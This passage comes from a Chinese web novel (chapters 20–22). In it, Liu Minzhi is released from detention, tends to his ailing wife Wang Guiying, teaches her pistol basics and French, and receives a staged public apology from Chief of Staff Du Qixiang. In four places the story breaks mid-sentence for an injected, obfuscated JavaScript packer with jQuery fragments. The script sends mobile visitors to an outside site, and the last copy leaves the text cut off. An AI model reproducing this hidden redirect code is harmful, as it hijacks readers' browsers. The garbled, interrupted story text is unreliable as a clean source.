警卫员面面相觑，还是老赵说话了：“道理咱都懂，又不是咱哥几个要为难他，实在是杜队长他……唉。” 马竭笑了：“杜队长有他好哥哥罩着，咱们可是小喽啰，没必要摊大人物的浑水。” “可是，杜队长那边不好交代啊。” “这好办，”马竭迅速决断，“就说是军务部那边的人知道了刘部长弟弟出事，赶紧派人来保释，你们也是奉军务部的口令办事。” 几人你看看我我看看你，嘴里还嚼着马竭带来的烧鸡和卤货。 终究还是年纪最大的老赵拍板决定：“好，就这么办！” 拘留间的铁栅栏哗哗啦啦打开，刘珉之终于舒展开四肢。 “多谢。” 开门的年轻小伙子不好意思地挠挠头。 马竭朝他拱手：“刘先生，得罪了，我先送你出去。” “好。” 路过警卫员吃夜宵的地方，几人站起来目送他，老赵还给认真鞠了一躬：“得罪了，刘先生。” 刘珉之叹了口气，摆了摆手。 夜已深得月色都疲惫，刘珉之腰酸背痛，笔直高挺的身形也佝偻了。 “珉之！” 刘珉之一愣，挺直腰板。 道路转角，一身鹅黄色裙装的苏湘子亭亭站在那里，月亮沉寂了，她的短跟皮鞋踩着急切的奏章奔向刘珉之，刘珉之张开双臂，接住这块鹅黄色的宝物。 “还好你没事。” 刘珉之爱怜地摩挲着她的头发：“抱歉，让你担心了。” 苏湘子落了两滴泪，立马冷静下来，退出刘珉之眷恋的怀抱。 “我去军务部找人帮忙，没人理睬，就想去找军工部的方主任，可我不知道方主任住在哪，便找人问，问到这位小哥，他说他虽然也不知道方主任在哪，但可以帮我的忙——没想到还真把你救出来了！” 刘珉之紧紧牵住她的手，向马竭郑重道谢：“谢谢你，我欠你一个很大的人情。” 马竭笑嘻嘻的：“不敢当，想攀附刘先生的人多的是，只是我马竭刚好捡了便宜。” 苏湘子吸吸鼻子：“我真没想到军务部那些人什么都不管。” 刘珉之也不解，紧皱着眉。 “那是因为刘部长不在，军务部现在是杜参谋长的天下。” 刘珉之一愣：“杜参谋长？就是你说的杜其骏的好哥哥？” 马竭点头：“刘先生果然聪明。” 苏湘子若有所思：“杜其骏的哥哥叫杜其骧，是在军务部做参谋长，但我没见过他，不了解情况。” “他和刘部长可是死敌，他的弟弟赢了死对头的弟弟，他暗地里乐见其成，军务部自然没人敢管。” 苏湘子恍然：“怪不得。” 刘珉之抓起她的手掌，在手背亲亲吻了几下：“抱歉，让你受委屈了。” 苏湘子羞涩地抽回手：“这些是我应该做的，毕竟杜队长他，也算是为了我……迁怒你。” “这和你没有一点关系，是他自己心胸狭隘。” 两人对视。 “咳、咳。” 马竭干咳两声。 “尊敬的先生、美丽的小姐，已经深更半夜了，不如早些回去休息吧。” “嗯，对。” “好。” 几家通宵营业的大酒楼附近还有等客的人力车，苏湘子推拒不过，硬是让他们陪送到新中学学校门口。 “今天真是对不住，没照顾好你。” “没有，我今天，已经很开心了。” 刘珉之抚摸着她柔软的头发。 他们的拥抱已经十分自然，甚至还开始称呼彼此的名字。杜其骏本意是想拆散他们，谁成想叫他们更亲密了。 “快回去休息吧，今天实在辛苦你了。” “嗯。” 苏湘子在他肩窝蹭了蹭，不舍地分开。 “我，还有件事要问你。” “什么？” “你为什么不要我去你家里找人？” 刘珉之一僵，女性的敏锐总令他无法招架，他努力平复表情：“我父亲身体不好，我害怕他知道为难。” 他的神情太若无其事，以至显得有些刻意，苏湘子眯了眯眼睛：“是吗？” “当然。” 苏湘子又盯着他看了看，徒然松懈下来：“我相信你。” 等她的背影完全消失在校园里，刘珉之沉沉叹了口气，却见马竭似笑非笑地看着他。 “怎么了？” “没什么。” 马竭不说，刘珉之也无力去问。 “今天真是多亏有你，你想要什么回报？刘家会满足你的。” “既然刘少爷开了金口，我就不客气了，”马竭落落大方，“我家境贫寒，日夜盼能有贵人相助。” 能用钱解决的事情反倒简单，刘珉之轻松道：“你说，要多少钱？” “钱？钱总要花出去的，我不要钱，我想在军务部当值。” “这……”刘珉之犯了难，“军务部现在选人很严苛，不一定能成功。” “我只求做个小员工，不敢奢求高位。” 刘珉之沉吟一会儿：“好，等兄长回来，我会和他说。” 马竭大喜：“多谢刘少爷！” 刘珉之精疲力尽回到刘府，已过凌晨，四下如墨漆黑，开门的下人探着脖子左看右看，奇怪道：“二少爷，怎么就你一个人？” “什么意思？” 下人挠挠脑袋：“您一直没回来，二奶奶出去找您了。” 刘珉之大脑轰隆一声。 事情好不容易解决了，她又在添什么乱。 他心里烦躁，说出的话也冰冷：“她去哪里了？老爷太太知道吗？” “二奶奶没说去哪里。老爷太太不知道您没回来，也不知道二奶奶出去了，二奶奶临走还特意嘱咐要瞒着死死的。” 还算有点脑子。 刘珉之累的指头都不想动，径直走进府里。 “二少爷，要去找二奶奶吗？” “漳县那么大，你知道要去哪里找？” “这……” 刘珉之冷冷道：“不用管，找不到人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15523720|170384||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，她自己会回来的。” 往拘留所走了一圈，刘珉之腰酸背痛，身上太脏，他强撑着洗完澡，打好地铺，一股脑扎进被窝里，没一会儿进入黑甜的梦乡。 次日早上七点，还是准时醒来了。 刘珉之犯了会儿懒，浑身肌肉酸痛，可长期规律的作息令他无法再次入睡。 他静静感受大脑缓慢夺回身体的主权，突然一个猛子扎起来。 床上被褥平整，瞧不出是没睡过还是已收拾好了。 他随手披件外衣，打开房门大喊：“小葱，小葱！” 小葱不在。 打扫院子的婶娘气沉丹田，更大声地喊：“小葱，二少爷叫你！” “来了来了！” 小葱从后院慌慌张张跑过来，跌了七八个弯：“二少爷，您找我？” 刘珉之黑着脸：“二奶奶呢？” “额……” “额什么？快说。” “在厨房呢，早饭做好了，老爷的药还在熬。” 刘珉之松了口气。 “在厨房就在厨房，你支支吾吾地做什么？” 小葱心虚地嘿嘿笑：“看您这么凶，不敢说话。” 刘珉之无语。 “没你事儿了，下去吧。” “哦。” “还不走？” 小葱嗫嚅了一会儿，嬉皮笑脸道：“二少爷，昨个儿二奶奶很晚才回来，就睡了一个时辰，身上可不舒服了，要不您劝劝她，歇息歇息？” 刘珉之斜眼看她。 “怪我多嘴，怪我多嘴。” 小葱弓腰退下，刘珉之无奈摇了摇头，这小丫头，被王桂英宠得越发没规矩。 刘伯参今天没精神，早上就在屋里吃了两口，老太太也在屋里陪他吃，正房餐桌只有刘珉之一个人。 “你二奶奶呢？” 小葱无辜道：“还在厨房呢。” “去叫她吃饭。” “哦。” 小葱雀跃地走了。 又一会儿，小葱垂头丧气地回来了。 “二奶奶说她没胃口，叫您先吃。” 刘珉之撂下筷子，扔下一大桌色香味俱全的好菜，板着脸道：“带我去找你二奶奶。” “……是。” 刘珉之本有些不耐烦，嫌王桂英使小性子，等见了人，火气却一股脑消了。 王桂英容色憔悴，黑亮的大眼睛没了神，底下明晃晃两道黑眼圈。她打着哈欠，弓腰驼背，无精打采地依靠在墙边。 刘珉之蹲下来，摸摸她的脸：“你怎么了？要不要叫个医生来瞧瞧。” “不用。” 她侧过脸，总是红润的嘴角起了皮。才过去一天，怎么憔悴成这样。 “先回房睡会儿觉。” 刘珉之搀她起来，被虚弱地打开：“不用。” 她昨天只睡了一个小时，还是为出去找自己。刘珉之觉得自己要负主要责任，所以很有耐心. “听话，睡一觉就好了。” 王桂英苦笑：“真不用，我小时候就这样，天一亮，就在床上呆不住。” 她说着逞强的话，眼睛却已半睁不睁，长直的睫毛难耐地颤抖着。 “是不是身上哪里不舒服？”刘珉之温声温气道，“我们去看医生，好不好？” 20. 哄 “不要，我没事。” 话是这样说，但她下意识摸了摸肚子。 刘珉之敏锐地觉察到。 “是肚子痛？” 王桂英一僵，脸上苍白泛着羞恼的红：“没有！” “真的没有？” 他把手放到她的手上，在平坦的肚子上揉了揉。他动作很轻，王桂英还是痛的嘶气，刘珉之赶紧停下。 “什么时候开始疼的，怎么这么严重？” “没事，就是，”王桂英眉眼躲闪，“就是女人家都有的毛病。” “哦，”刘珉之恍然，“是月经啊。” “喂！” 王桂英弹腰起来捂住他的嘴，羞的左右看，下人都在忙自己的事，没空管主子闲事，王桂英声音小的像蚊子叫，还是生怕别人听见。 “你小点声儿。” 刘珉之觉得有趣，想不到她的羞赧竟用在这种无关紧要的地方。 “这有什么好小声的，”他凑到她鲜艳的耳朵边上，“你不是连生孩子都敢说。” “那不一样！” “怎么不一样了？” “生孩子是正经事，传宗接代的。” “你这也是正经事啊，你身子不好，怎么传宗接代？” 王桂英咬着指头想了一会儿，被说服了，她摸了摸肚子，喟叹道：“这回不知道怎么了，突然疼的厉害，喝姜糖水也没用。” “可能是昨天夜里受了凉，这事都怨我，不该那么晚回来。” 王桂英挑起眉毛瞥他。 刘珉之做好了老实认错被骂一顿，叫病人泄泄火的准备，谁知她只是抿抿嘴，快速收回目光，轻轻“嗯”了一声，甚至还为他开脱。 “不怪你，是我太鲁莽了。” 她偏过脸，一副不想再提的模样。 刘珉之眨眨眼。 就这样？ 就这样被他糊弄过去了？ “不提那些了，我们先去看医生，好不好？” “都说了不要！” 王桂英干裂的嘴唇经不起大动作，急的裂了个口子。 “这种事情，怎么好叫医生呢！” “好好好，听你的。那你回房歇着去，睡不着也躺会儿。这件事听我的，好吗?” 王桂英垂下脑袋想了一会儿，终于点点头。 刘珉之松了口气，自己和小葱一起把人扶回房间躺着，顺手为她掖好被子。 “闭上眼睛休息。” 王桂英黑溜溜的大眼睛总跟着他转来转去，闻言停顿片刻，乖巧地闭上了。 刘珉之夸学生似的夸她：“真棒。” 王桂英眼皮颤动，身子一转，向里头对着墙，只留个背影给他。 刘珉之轻手轻脚地关上门，找小葱问话：“二奶奶昨晚去哪里了？见了什么人？” 小葱挠头：“我不知道啊，昨晚我没跟着。” 刘珉之瞪眼：“这么大的事你不跟着？” 小葱干笑：“二奶奶说夜深了，叫我好好守着府里，自己带几个壮实男人出去的。” “你去问清楚昨晚他们去哪了。” “是。” 不消一会儿，小葱急急忙忙来回话。 “回二少爷，二奶奶先是去刘府的铺子和钱管家屋里问，他们都说不知道。二奶奶就去军务部找，但军务部那些人不认识二奶奶，都不理睬咱们，后来听一个守卫说在华悦酒楼见过您，就去了酒楼。” 找到酒楼，肯定知道自己和其他女人一起吃过饭。 她知道时是什么反应？ “然后呢？” “然后就听到您被抓了，赶过警卫处去又知道您刚被放走，之后二奶奶就回来了。” 刘珉之叹了口气。 “就这些？” 小葱老实巴交：“就这些。” “你做的很好。” 刘珉之转转眼珠子。 “现在你去老爷那里，叫来检查的医生给老爷看完，就过来给二奶奶看看。” “啊？” 小葱懵了：“二少爷，二奶奶不是不看医生吗？” “她身子虚成这样，说不看就不看么？” “可是……” “你去不去？不去我找别人去。” “那您找别人吧，”小葱松了口气，“我不能背叛二奶奶啊。” 刘珉之无语，叫另一个在洒扫的婶娘去了。 苏学章和他约好明日在新中学上枪丨械制造的课，他在屋里温书。王桂英则在床上休息，闭着眼睛，不吵也不闹，想来已睡着了。 “咚咚咚。” 敲门声响起，刘珉之放下书，小葱进来禀报医生马上过来，刘珉之应了，回头一看，王桂英睁着黑溜溜的大眼睛，无辜地看他。 “你们在说什么？” 刘珉之稳住心神，柔声道：“医生给爹看完病了，现在过来给你瞧瞧。” 眼睛滴溜溜地瞪大，瞪出四周裂布血丝的眼白。 “我说了我不看医生！” “医生已经过来了，就叫他看一眼，好不好？” 王桂英猛然挣扎起来，怒吼道：“你为什么不听我的，我什么都听你们刘家人的，连不想看医生都做不了主吗！” 刘珉之愣了，从不知王桂英还有这种想法。 “你、你别这么想，我只是以为，看医生对你有好处。” 王桂英控制不住的流泪，她并不想哭，但胸膛像窝着火，随随便便就能炸起来，偏刘珉之今日总顺着她，勾得她更想撒泼。 “你不要哭，好不好？不看医生了，不看就不看，都是我的错，我太自以为是了。” 王桂英用被子蒙住脑袋，不叫他看见眼泪。 小葱哪里见过这阵仗，手足无措：“少爷，我……” 刘珉之小声吩咐：“先叫医生去偏房，坐着等会儿。” “是。” 刘珉之坐到床边。 “对不起，我不知道你这么委屈。” 王桂英已不哭了，但方才哭的太猛，现在控制不住地打嗝。 刘珉之好气又好笑：“别蒙着头了，出来透透气吧。” 王桂英不动，刘珉之将她盖头的被子掀了。 “让我瞧瞧，怎么里面蒙着这么漂亮一个大姑娘？” 王桂英鼓着嘴瞪他，毫无杀伤力。 “肚子还痛不痛？” 王桂英快把嘴唇咬破了，终于不情不愿地嗯了一声。 “哎呀，真是个诚实的好孩子！” 刘珉之语调夸张，王桂英没忍住笑了。 笑了就好办，但凡笑出一声来，就端不起架子再生气了。刘珉之哄她把肚子露出来，轻轻揉了揉。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15530719|170384||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “为什么这么害怕看医生？小时候被逼着灌苦药，落下阴影了？” 王桂英努着嘴：“才不是。” “那是为什么？” 王桂英又要咬嘴唇，刘珉之一把捏住。 “别咬，都咬破了。” 王桂英眨眨眼，脸倏然红了。 “就是，就是害怕。” “害怕什么？” 王桂英闷闷的：“害怕怀不上孩子。” 刘珉之沉默了。 话匣子一打开，后面的话赶着趟地说出口。 “我知道你不喜欢我，要是怀不上孩子，我就一点用也没有了。” “怎么会？” 王桂英期待地看着他。 “你怎么会一点用都没有，刘府上上下下都是你在操持，你做的很好，大家都看在眼里。” “嗯。” 王桂英有些失望，她还以为他是要反驳他不喜欢她这句话呢。 “不过，女人的身子是大事，我也很为你担心。” 王桂英看他。 “所以，我们看看医生，好不好？” 刘珉之小心翼翼的，生怕又触了她的霉头。好在王桂英既已被哄好，就不再抵触。她略一犹疑，到底应下了。 看了医生，医生说是寻常炎症，算不上大碍，又给开了两幅药，千叮咛万嘱咐这几天好好休息，不可操劳。刘珉之谢了礼，叫小葱把药丸收好。 “这下我就安心了。” 知道自己无恙，不耽误怀孩子，王桂英松快的很，三两下从床上爬起来。 “你干嘛？” 王桂英风风火火：“我去看账本，昨天有笔账没对上。” “用不着你，我向军工部告个假，今天你歇着吧。” “哦。” 王桂英坐下，又站起来。 “还有昨天来修补屋顶的师傅，你得看着他拿工钱，不然银子交出去，就对不上数的。” “昨天有师傅来修屋顶？我怎么不知道？” 王桂英嗔他：“你下午不是出去了吗” “也是，还有什么要嘱咐的？” “崔婶家里有事，今天休息，厨房我叫小葱管，她做事毛手毛脚的，你别骂她。” “我才不敢骂她呢，”刘珉之无奈，“崔婶怎么又休息？这个月都没见着她人。” “她娘家饭店生意不好，怕开不下去，叫她帮忙呢。” “她做菜确实好吃，”刘珉之认可道，又想了想，“那家馆子不是挺热闹的，怎么突然开不下去了？” 王桂英叹了口气：“打战打的频，大家手里都没几个钱，加上今年收成不好，更难熬了。” “今天收成不好？” “是啊，听说地里旱的很。” 刘珉之倒是头一回听说：“我都不知道这事。” 王桂英笑了：“二少爷，你是做大事的人，何必知道这些柴米油盐的小事？” “好啊，你是不是嫌我不当家，不晓得你的辛苦？” “才没有！” 刘珉之和她闹了会儿，王桂英又忧心忡忡说起正事：“说正经的，钱管家这次下乡好长时间，我一直担心是地里收租出事了。” “不会。钱管家这么大年纪，灾年荒年没少遇到，没有他搞不定的事。” 王桂英还是不放心：“但愿吧。” 21. 你很聪明 刘老太太正靠在床边打盹，忽见儿子赶着丫头进来布菜，唬的眼睛都睁大了。 “今天真是奇了，我家小儿子竟亲自上菜了。” 刘珉之无奈：“娘，别打趣我了。” “桂英怎么样了？” “她胃口不错，喝了一大碗桂圆乌鸡汤，肉全吃光了，就是肚子总绞痛，睡不着觉。” 老太太舒了口气：“能吃就好，能吃是福。” 刘伯参恹恹地搅着碗里的粥，附和道：“是这个理儿，我就总吃不进东西，所以不见好。” “爹，您别多心。” 老太太咬了一口白米糕，用钝了牙齿慢慢磨着，半响才咽下去。 “今天崔婶又不在？” 刘珉之回话：“是，她去娘家饭店帮厨了。” 老太太撂下那块米糕，转头喝粥。 刘珉之奇了：“娘，这米糕不好吃？” “没发好。” 刘珉之掰了一块尝，宣软微甜，疑惑道：“挺好吃的，我吃着一直是这个味儿。” 老太太眯着眼睛笑：“我们老人家的嘴巴，哪能和你们年轻人的嘴巴一样。” 刘伯参默默放下筷子。 “爹，你也觉得今天饭不好吃？” “我吃不出来，吃不动。” 刘珉之丧气，难得他管一次家，都没得到反馈。 刘伯参忽又重重叹了口气：“桂英是个好孩子，是我这个病，耽误了她。” “您怎么又说这个。” 刘伯参胡子颤颤巍巍，半句话调子高半句话调子低，出气儿和进气儿前追后赶地把话推出嘴巴：“若不是我病着，给你们办场喜酒，人家姑娘也能安心。” “您别操心了，爹，她现在在府里也挺好的。” 刘伯参不语。 老太太慢悠悠吃完粥点，叫丫头收拾桌子上盏新茶和水果。 刘伯参突然又摸着他的手，语重心长道：“你以后，就是想娶新人了，也好好待她，她是个可怜人。” “爹，”刘珉之无奈，“您怎么总把我说成个负心汉。” 刘伯参吹胡子：“我们文丨化部这些老头子研究过了，洋书读的越多的，离婚的也越多，越容易做负心汉。” “您这可是偏见。读洋书的人不搞纳妾那一套，宁可离婚也要专一，这明明是有担当。” “少拿纳妾说事儿，以前有几户人家纳妾的？都是没根基的暴发户才纳妾！” 刘珉之怕他动气伤身，求助道：“娘，您管管爹。” 老太太乐呵呵剥着橘子：“我才不管呢，你爹也就是骂你的时候有点精神。” 刘珉之愿打愿挨地挨完骂，想起来没盯着王桂英吃药。 他一进东厢房，正碰到王桂英正慌里慌张藏东西。 “在藏什么？” “没、没什么。” 东厢房原先只有一张桌子，被用做王桂英的梳妆台后，刘珉之又叫人搬了一张书桌进来。两人的桌子是分开的，并不相连，如今王桂英正坐在刘珉之书桌前。 “说不说？不诚实的学生要被先生打手板的。” 王桂英见他没生气，有些动摇。 刘珉之假装失望地叹口气：“有些学生，生了病就不乖了，仗着先生不舍得打她，胡作非为。” 王桂英撇嘴：“才没有。” “那刚刚藏的是什么东西？拿出来。” 王桂英鬼鬼祟祟从抽屉里摸出一本笔记。 刘珉之挑眉：“你在看这个？” “嗯……就是，就是想看看你最近在忙什么？” “不是和你说过么？我明天去新中学讲机械学，这是我做的教案。” “嗯。” 王桂英低着头，看脚上的绣花布鞋。 “你想学？” 王桂英眼神躲闪：“才没有。” 刘珉之来了兴致：“我给你讲讲。” 王桂英不满：“我没想学。” “好了，你先看这张图，其实手枪的构造很简单，分成枪管、枪机、弹匣、击发器、瞄准具和枪托。最后还有一个小东西，叫做保险机构。” 王桂英专注地起来。 “……大概就是这么个过程，通过车床、铣床和钻孔，还有膛线加工和表面处理，一把枪就基本成型了。” “那咱们自己造的枪，老是哑火和卡壳，是不是因为咱们钻孔和上膛的位置不准？” 刘珉之愣了，不错眼地看她。 王桂英不安地缩起肩膀，声音也哑了火儿：“怎、怎么了？我说错话了么？” “没有，你说的是对的。”刘珉之笑道，“你很聪明，你全都听懂了。” “真的？” 王桂英舒展起来，瞧了眼课本，又瞧了眼刘珉之：“都是你教的好，从来没有先生夸过我聪明。” 刘珉之突然意识到自己一点也不了解面前这个女人，但现在，他动了一点探究的心思。 “王鸿给你请过先生？” “也不算给我请的，是给我哥哥请的，我跟着一起听。” “你还有哥哥？” “有一个，他比我大两岁。” 刘珉之感到诧异：“我可不信没有先生夸过你聪明，除非，你哥哥比你还聪明很多。” “是啊，真的没有哪个先生夸过我，”王桂英说的云淡风轻，“但是每个先生都和我爹说，我哥是个做官的好料子。可惜，要是我爹没有回乡里就好了，说不定我哥现在都……算了，不说了。” 王鸿失势对他们来说，一定是很难熬的打击。 “我很遗憾以前都没人夸过你，所以现在本先生要好好夸夸你，你很聪明，要是好好学，也是块做官的好材料。” 王桂英咯咯笑：“别损我。” “我是认真的。” 王桂英的笑意在脸上挂了好一阵子，突然眼睛湿润起来，她连忙往上看，不叫眼泪流出来。 “我，我也不知道怎么了，今天总想着哭。” “这是正常的生理现象，女性经期容易情绪波动。” 王桂英呆呆地看他：“你懂的好多，怎么连女人的事都懂……” 刘珉之觉得好笑：“这都是科学常识，你要是想学，我可以教你。” “真的吗？” “当然是真的。” 王桂英的雀跃没维持两分钟，忽然又咬着指头，纠结道：“还是算了。” “为什么？” “这不是我该做的事情。我……我要打理好府里的所有事情，然后生个孩子，照顾孩子，一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15545130|170384||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 直到孩子长大，再生孩子……这才是我该做的事。” 王桂英目光呆愣的，像一个叙述程序的傀儡。 这些程序从出生起就植入她体内，被她的父母、兄弟、先生、邻里，不断强化，在她第一次来癸水时完美成形。她被塑造成一个三纲五常的容器，她必须是空心的，而她以后的人生如何，全看她承载的是一个怎样的男性。 “你不必这样。” “什么？”王桂英呆傻地看他。 “我不需要你生孩子、照顾孩子。至于打理府里的事情，这不是你必须做的，所以我愿意支付你报酬，你想学什么，我都可以教你。” 王桂英对生个孩子有执念，听到前半句，垂丧的很。听到后面，又振作起来。 “什么都可以教我吗？” “当然不是。” 王桂英失落。 “得是我会的才行。” 王桂英恼地锤了他一下。 “我，我想学洋文，可以吗？” 刘珉之有些意外：“可以是可以，能告诉我为什么吗？” “我就是，想看懂你那些书……” 刘珉之噗通一声笑出来。 “你又取笑我！” “没有没有，”刘珉之死死抿住嘴，“我是在感慨你勇气可嘉，居然想看懂最难懂的机械工程学。” 这分明就是取笑！ 王桂英恼了：“你还教不教了？” “教，怎么不教？” 王桂英话说的豪言壮志，结果刚学两句常用语就开始走神。刘珉之心中一动，先盯着人吃了药，然后一股脑给她灌了一遍法语字母和读音，半小时过去，王桂英迎来了成年后第一次午睡。 将人在床上搁置好，刘珉之颇有成就感地离开房间。 “二少爷。” “怎么了？” “外头有个人找您。” “什么人？” “不知道，说是来还东西的，一定要亲手交到少爷手里。” 刘珉之皱眉：“带我过去。” “是。” 刘府大门和垂花门之间是下人住的倒座房，大门进来是影壁，再过去是抄手游廊，不够尊贵的客人就在这里等候接待。 “刘少爷。” 一个陌生男人，穿不值钱的麻布衣服，捧着个扎蝴蝶结的漂亮纸盒。 刘珉之一见那蝴蝶结，了然于心，除了苏湘子没别人了。 “这是我家小姐叫我亲手交给您的。” “多谢。” 刘珉之赏了几个铜钱才送客。 他迫不及待将盒子掀开一条缝，是那日他亲手披在苏湘子肩上的外套，外套已被洗干净了，茉莉的香气从缝隙里透出来，幽微的。 他抬眼，见下人都在偷瞟，突然咯噔一声。 明天他就去新中学讲课，苏湘子大可以明天再将衣服还他。为什么偏要选今天？为什么偏要他亲自收取？ “那个男人刚刚还说什么没有？” “他一直在问府里的事情。” 刘珉之深吸一口气：“你们怎么说的？” “回二少爷的话，小的们不敢多嘴。” 刘珉之松了口气：“做的很好，去领赏钱吧。” “是！多谢二少爷。” 22. 杜其骧 已是第二次在新中学讲课，课题还是大家都感兴趣的枪丨械制造，学生听的认真，刘珉之也讲的投入，眼神甚至没有往第一排的苏湘子身上瞟。 “下面开始提问。” 那公鸭嗓的男学生踊跃的很，胳膊举的老高，站起来口若悬河，刘珉之认真答了，他又接着下一个提问，刘珉之好声好气制止他：“现在该其他学生提问了。” 公鸭嗓扭捏地坐下，刘珉之又解答几个问题后，轮到短头发的学生代表谢觉梅。 “刘先生，如果制造过程的精度提高，是否可以避免枪丨械哑火的问题？” 刘珉之愣了，眼前短头发丹凤眼的女学生和一个黑长发银盘脸的女人重叠起来，像树木的枝杈交缠在一起，你才恍惚它们竟来自同一根主干。 “刘先生？” 谢觉梅皱着细长的眉，有些不解，又有些轻微的不满。 刘珉之回过神来，笑着夸赞：“你问的问题很好。” 课业结束，人潮散去。 一个装满水的瓷杯轻轻递到他手上，刘珉之抬头，露出个更真心的笑容：“湘子。” “你嗓子都哑了，讲课都不知道备水的么？” 刘珉之小口吞咽，慢慢润嗓子。 “唉，我毕竟是个新手教师，比不得苏老师经验丰富、德高望重。” 苏湘子娇嗔地瞪他：“惯会耍贫嘴。” 刘珉之被她看的心里发痒，公众场合，不敢有多余举动，只轻轻摩挲手里的水杯，没话找话道：“这杯子是你用的么？” “想什么呢，”苏湘子翻了个白眼，竟也是优雅的，“办公室备客的水杯，放心，我洗干净了。” “嗯，我就说这水怎么是甜的。” “坏蛋！” 两人正调笑着，远处跑过来一个人，大喊着：“刘先生，刘先生！” 刘珉之敛了神色：“怎么了？急急忙忙的。” 男学生上气不接下气，断断续续道：“外头、外头来了好些个穿军装的人，堵在校门口，说是找您。” 刘珉之和苏湘子面面相觑。 “穿军装的人？是不是杜队长……” 刘珉之沉住气安慰她：“别多想，出去看看就知道了。” “可是杜队长他气量狭隘，如果真是他……” “没事的，”刘珉之深吸几口气，“兵来将挡，水来土掩嘛。” 新中学的校门口被热热闹闹地包围了，围观的人里三层外三层，挤的水泄不通。 “是刘先生！” “是刘先生!喂！让一让！” 刘珉之不住声地道歉道谢，挤到了事件中心。 苏学章正跟一个穿军装披大衣的高个男人讲话，瞧着很亲热，他转头看到刘珉之，脸上还是笑盈盈的，刘珉之心定了大半。 “刘先生，您来了，杜参谋长特意来找您的。” 高个男人长相冷峻，五官深刻，像用刀斧凿出来的，他的眼睛深邃，瞧不出一点情绪，盯着人看时让人无端的心里发毛。 但是忽然，他露出一个极温暖熨帖的笑。 “刘先生。” 刘珉之不动声色地握住他递出的右手，他带着白手套，手掌宽大，力量比刘珉之胜过十倍，但是他并没有用力，只是很得体地握了握便松开。 “我是杜其骧，在军务部任参谋长一职，和刘部长共事。” “杜参谋长，久仰大名。” 刘珉之单刀直入。 “不知杜参谋长有什么事，要找到珉之身上。” 杜其骧呵笑，向后方招招手。 一排排穿军装的男人有序退开，招呼出几个穿黑色警卫员衣服的男人，这几个男人都被用麻绳五花大绑，好不可怜。只有走在最前面的杜其骏身上干干净净，可以自由活动，但他也垂头丧气，蔫头耷脑。 “还不快过来？” 杜其骧声音寒冷，杜其骏像被冰块激了脑袋，小跑过来，恭敬地低着头。 刘珉之淡淡扫过一眼，看向话事人：“杜参谋长这是何意？” 杜其骧笑的如沐春风，他只要想，就可以表现出对别人的无限诚意。 “舍弟前日在剧场与刘先生有些矛盾，我事后问话，才知是这些队员目无法纪、无非生非惹出的祸患。” 被捆绑住的警卫队员齐刷刷地跪下，大声道：“对不起刘先生，我们错了。” 刘珉之被唬了一跳。 “你们这是做什么？快起来。” “就让他们跪着，”杜其骧恨铁不成钢，“都怪他们有眼无珠，竟不分青红皂白地乱抓人，害的刘先生声誉受损。我杜其骧在此严正声明，刘珉之先生没有任何过错，都是警卫队玩忽职守，造成恶果。” 围观者纷纷私语，传播其前天的八卦。 他不说还好，这么一说，所以人都知道他刘珉之进过拘留所了。 刘珉之心里暗叹一口气，事已至此，只能顺着杜其骧的话说：“既然是一场误会，参谋长也不必追究，叫他们起来吧。” “听到了吗？还不快谢谢刘先生？” “多谢刘先生，多谢刘先生。” 警卫队员纷纷鞠躬拜谢，他们还跪着，刘珉之生怕折寿，赶紧把他们挨个扶起来。 好人做到底，他顺手为他们松绑，手刚碰到绳子，那被绑着的人肩膀一鼓，虚捆的绳子被扯成几截掉在地上。 刘珉之一阵无语。 闹剧演完，也该收场了。 “杜参谋长，既然误会澄清，就叫大家散了吧。” “不，还没完。” 杜其骧沉声道。 “事情虽然是他们几个惹出来的，但舍弟身为警卫队长，管教不严，亦有过错。” 杜其骏上前两步，咬牙切齿。 “杜其骏，你今天就当着大家伙的面，向刘先生正式道个歉。” 刘珉之瞥了眼苏湘子，却见苏湘子一直盯着他，有些担忧，又很关切。 刘珉之心中一暖。 杜其骏活这么大，就不晓得做小伏低怎么写，如今被大哥压着，脑袋是垂下来了，眼睛却还凶恶的很。 "刘先生，对不住。” 刘珉之没听清:“什么？” “你！” “杜其骏，”杜其骧不紧不慢地嘱咐，“大点声。” 杜其骏浑身崩的笔直，从牙缝里一个字一个字挤出来：“对不住！” 还不等刘珉之反应，杜其骧又道：“不要让我说第 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 